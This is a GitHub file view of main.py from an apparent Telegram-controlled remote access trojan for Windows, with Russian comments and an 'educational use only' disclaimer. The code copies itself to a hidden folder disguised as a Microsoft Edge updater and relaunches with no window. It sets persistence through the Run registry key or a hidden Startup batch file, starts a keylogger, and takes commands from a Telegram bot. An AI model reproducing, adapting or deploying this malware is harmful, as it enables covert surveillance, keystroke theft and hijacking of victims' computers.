-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
157 lines (116 loc) · 5.28 KB
/
main.py
File metadata and controls
157 lines (116 loc) · 5.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
"""
https://github.com/kripersi/RAT-tg-python
This tool is intended for use only on authorized systems. Use this script for educational purposes only! Any unauthorized use of this tool without explicit permission is illegal. When using the script, you take responsibility upon yourself
Этот инструмент предназначен для использования только на авторизованных системах. Используйте этот скрипт только в образовательных целях! Любое несанкционированное использование этого инструмента без явного разрешения является незаконным. При использовании скрипта вы берете ответсвенность на себя
ИСПОЛЬЗОВАТЬ ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ
"""
import os
import sys
import winreg
import asyncio
import subprocess
import shutil
from aiogram import Bot, Dispatcher, types
from aiogram.fsm.context import FSMContext
from aiogram.types import Message, CallbackQuery
from config import TOKEN, KNOWN_IDS
from handlers import handle_message, send_safe_message, handle_hotkey_callback
from loggers import setup_logging, start_keylogger
from commands import hide_bot
def get_hidden_path():
"""Возвращает путь к скрытой папке и исполняемому файлу"""
hidden_dir = os.path.join(os.getenv('LOCALAPPDATA'), 'MicrosoftEdgeUpdater')
os.makedirs(hidden_dir, exist_ok=True)
# Скрываем папку
subprocess.run(f'attrib +h "{hidden_dir}"', shell=True, capture_output=True)
if getattr(sys, 'frozen', False):
exe_path = os.path.join(hidden_dir, 'MicrosoftEdge.exe')
else:
exe_path = os.path.join(hidden_dir, 'MicrosoftEdge.py')
return hidden_dir, exe_path
def is_running_from_hidden():
"""Проверяет запущен ли бот уже из скрытой папки"""
_, hidden_exe = get_hidden_path()
current_exe = sys.executable if getattr(sys, 'frozen', False) else os.path.abspath(sys.argv[0])
return current_exe.lower() == hidden_exe.lower()
def install_to_hidden():
"""Устанавливает бота в скрытую папку"""
try:
# Если уже запущены из скрытой папки - ничего не делаем
if is_running_from_hidden():
return True
# Получаем пути
current_exe = sys.executable if getattr(sys, 'frozen', False) else os.path.abspath(sys.argv[0])
hidden_dir, hidden_exe = get_hidden_path()
# Копируем файл в скрытую папку
shutil.copy2(current_exe, hidden_exe)
# Запускаем копию из скрытой папки
if getattr(sys, 'frozen', False):
subprocess.Popen(f'"{hidden_exe}"', shell=True, creationflags=subprocess.CREATE_NO_WINDOW)
else:
subprocess.Popen(f'python "{hidden_exe}"', shell=True, creationflags=subprocess.CREATE_NO_WINDOW)
# Закрываем текущий экземпляр
sys.exit(0)
except Exception:
return False
def add_to_startup():
"""Добавляет бота в автозагрузку"""
try:
_, hidden_exe = get_hidden_path()
# Открываем ключ реестра
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Run",
0,
winreg.KEY_SET_VALUE
)
# Добавляем в автозагрузку
winreg.SetValueEx(
key,
"MicrosoftEdge",
0,
winreg.REG_SZ,
f'"{hidden_exe}"'
)
winreg.CloseKey(key)
return True
except Exception:
return False
def add_startup_fallback():
try:
_, hidden_exe = get_hidden_path()
startup_folder = os.path.join(
os.getenv('APPDATA'),
r'Microsoft\Windows\Start Menu\Programs\Startup'
)
bat_path = os.path.join(startup_folder, 'MicrosoftEdge.bat')
with open(bat_path, 'w', encoding='utf-8') as f:
f.write(f'@echo off\nstart "" "{hidden_exe}"')
# Скрываем bat файл
subprocess.run(f'attrib +h "{bat_path}"', shell=True, capture_output=True)
return True
except Exception:
return False
async def main():
# Установка в скрытую папку
install_to_hidden()
# Добавление в автозагрузку
if not add_to_startup():
add_startup_fallback()
# Запуск бота
setup_logging()
start_keylogger()
bot = Bot(token=TOKEN)
dp = Dispatcher()
hide_bot()
@dp.message()
async def handle_all_messages(message: Message, state: FSMContext):
await handle_message(message, bot, state)
@dp.callback_query()
async def handle_all_callbacks(callback: CallbackQuery):
await handle_hotkey_callback(callback, bot)
for chat_id in KNOWN_IDS:
await send_safe_message(bot, chat_id, "Бот работает")
await dp.start_polling(bot)
if __name__ == '__main__':
asyncio.run(main())